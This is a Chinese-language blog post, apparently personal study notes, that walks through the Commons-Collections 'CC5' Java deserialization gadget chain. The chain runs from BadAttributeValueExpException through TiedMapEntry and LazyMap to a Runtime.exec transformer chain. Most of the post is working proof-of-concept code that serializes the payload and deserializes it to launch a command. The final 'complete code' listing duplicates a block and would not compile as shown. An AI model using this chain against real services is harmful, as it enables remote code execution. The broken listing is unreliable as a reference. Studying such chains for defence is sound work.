首页 > 其他分享 >cc5

cc5

时间:2024-07-26 19:41:35浏览次数:3  
标签:BadAttributeValueExpException cc5 Object Class new null class

CC5

第一步

分析流程
BadAttributeValueExpExceptionreadObject是入口,然后我们在readobject里面看到tostring

    private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException {
    ObjectInputStream.GetField gf = ois.readFields();
    Object valObj = gf.get("val", null);

    if (valObj == null) {
        val = null;
    } else if (valObj instanceof String) {
        val= valObj;
    } else if (System.getSecurityManager() == null
            || valObj instanceof Long
            || valObj instanceof Integer
            || valObj instanceof Float
            || valObj instanceof Double
            || valObj instanceof Byte
            || valObj instanceof Short
            || valObj instanceof Boolean) {
        val = valObj.toString();
    } else { // the serialized object is from a version without JDK-8019292 fix
        val = System.identityHashCode(valObj) + "@" + valObj.getClass().getName();
    }
}

调用TiedMapEntrytoString,他会调用getKey()

public String toString() {
    return getKey() + "=" + getValue();
}

getValue会调用get

 public Object getValue() {
    return map.get(key);
}

LazyMapget函数会调用transform

 public Object get(Object key) {
    // create value for key if key is not currently in the map
    if (map.containsKey(key) == false) {
        Object value = factory.transform(key);
        map.put(key, value);
        return value;
    }
    return map.get(key);
}

后面其实就是cc1,我们就不分析了。

第二步

给他们赋值

  Transformer[] transformers = {
            new ConstantTransformer(Runtime.class),
            new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
            new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
            new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
    };
    ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
    HashMap<Object, Object> hashMap = new HashMap<>();
    Map decorateMap = LazyMap.decorate(hashMap,chainedTransformer);
    TiedMapEntry tiedMapEntry = new TiedMapEntry(decorateMap ,"1");
    BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(tiedMapEntry);

这样就能调用了,但是他不到readobject就会被启动所以我们给他传参为nullBadAttributeValueExpException(null)后面再反射调用传参

BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null);
Class c = Class.forName("javax.management.BadAttributeValueExpException");
Field field = c.getDeclaredField("val");
field.setAccessible(true);
field.set(badAttributeValueExpException, tiedMapEntry)

执行代码

   Transformer[] transformers = {
            new ConstantTransformer(Runtime.class),
            new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
            new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
            new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
    };
    ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
    HashMap<Object, Object> hashMap = new HashMap<>();
    Map decorateMap = LazyMap.decorate(hashMap,chainedTransformer);
    TiedMapEntry tiedMapEntry = new TiedMapEntry(decorateMap ,"1");
    BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null);//第一步
    Class c = Class.forName("javax.management.BadAttributeValueExpException");
    Field field = c.getDeclaredField("val");
    field.setAccessible(true);
    field.set(badAttributeValueExpException, tiedMapEntry);
    serialize(badAttributeValueExpException);
    unserialize("ser.bin");

完整代码

public class cc5 {
public static void main(String[] args) throws Exception {
    Transformer[] transformers = {
            new ConstantTransformer(Runtime.class),
            new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
            new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
            new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
    };
    ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
    HashMap<Object, Object> hashMap = new HashMap<>();
    Map decorateMap = LazyMap.decorate(hashMap,chainedTransformer);
    TiedMapEntry tiedMapEntry = new TiedMapEntry(decorateMap ,"1");
    BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(tiedMapEntry);//第一步


    Transformer[] transformers = {
            new ConstantTransformer(Runtime.class),
            new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
            new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
            new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
    };
    ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
    HashMap<Object, Object> hashMap = new HashMap<>();
    Map decorateMap = LazyMap.decorate(hashMap,chainedTransformer);
    TiedMapEntry tiedMapEntry = new TiedMapEntry(decorateMap ,"1");
    BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null);//第一步
    Class c = Class.forName("javax.management.BadAttributeValueExpException");
    Field field = c.getDeclaredField("val");
    field.setAccessible(true);
    field.set(badAttributeValueExpException, tiedMapEntry);
    serialize(badAttributeValueExpException);
    unserialize("ser.bin");//第二步

}
public static void serialize(Object obj) throws IOException {
    ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
    oos.writeObject(obj);
}
public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{
    ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
    Object obj = ois.readObject();
    return obj;
}
}

标签:BadAttributeValueExpException,cc5,Object,Class,new,null,class
From: https://www.cnblogs.com/20031225gbz/p/18326095

相关文章

  • 蓝牙|软件 QCC51xx系列开发之LE AUDIO Auracast使用指导
    本文适用范围:   ADK23.3~file=app1##############USERKEYS###############Thesekeysareusedtoconfigurethesoftwareortosavesettings.#Seethecorrespondingadk\src\domains\common\ps_key_map.h#USR1-Thiskeyisreserved.Itisusedto......
  • 一种车载蓝牙显示终端(QCC3040 QCC5125 OLED RX 显示蓝牙歌曲名)
    作为车载多媒体一种延伸,车载蓝牙终端通常作为手机与车机中转站,可以作为点烟器扩展产品。 通过播放暂停音乐、接打挂断电话、媒体音量加减、上下一曲功能来进行人机交互。 产品通常还有3.5mm输入接口。  通过车载IDB-CIDB-MIDB-Wireless等多媒体协议解析出车载媒体控......
  • Java反序列化 CC5链
    参考链接https://github.com/frohoff/ysoserial/blob/master/src/main/java/ysoserial/payloads/CommonsCollections5.java环境搭建Commons.Collections3.2.1jdk8u65利用链分析后面都和CC1-LazyMap一样,前面的话,改了下调用lazyMap.get的函数和入口类,没啥好分析的/* Gadget......
  • java反序列化----CC5利用链学习笔记
    java反序列化----CC5利用链学习笔记目录java反序列化----CC5利用链学习笔记环境配置利用链TiedMapEntryBadAttributeValueExpException参考文章环境配置jdk8u(无java版本要求)pom.xml中写入<dependency><groupId>commons-collections</groupId>......
  • gcc5 std::string的变化
    自从GCC-5.1开始,std::string引入了遵从C++11标准的新实现,默认使用SSO(smallstringoptimization)特性,禁用了写时复制(COW)引用计数机制,这也带来了与旧版本std::string的ABI兼容性问题。 参考:http://www.pandademo.com/2017/04/new-changes-of-gcc5-std-string/https......
  • Java反序列化Commons-Collection篇06-CC5链
    <1>环境分析jdk:jdk8u65CC:Commons-Collections3.2.1pom.xml添加<dependencies><dependency><groupId>commons-collections</groupId><artifactId>commons-collections</artifactId>......
  • ACC5595网络交换机
    实时仿真计算机半实物仿真系统 公司自主开发的实时仿真计算机、半实物仿真系统,致力于为各领域用户提供快速原型设计及硬件在回路仿真解决方案。   实时仿真计算机系列产品,可广泛应用于实时控制快速原型、半实物仿真、人机回路仿真、系统测试等实时仿真领域。反射内存卡:接口有......
  • 业界可用的基于centos7.9, gcc5.5, cmake3.10.3, boost1.63的docker镜像的dockerFile
    FROMcentos:7.9.2009#InstallbasicdependenciesRUNyum-yinstallgccgcc-c++\gdb\make\valgrind\vim\wget......
  • linux编译安装gcc5.3.0
    1、下载GCC5.3.0安装包#su#cd/opt#wgethttp://ftp.gnu.org/gnu/gcc/gcc-5.3.0/gcc-5.3.0.tar.gz2、解压#tar-zxfgcc-5.3.0.tar.gz3、创建安装目录#mkdir......
  • CC5 牛牛的新数组求和
    描述牛牛学习了指针相关的知识,想实现一个intcal(int*array,intn)的函数求出长度为n的数组的和。输入描述:第一行输入一个正整数n,表示数组的长度第二行输入n......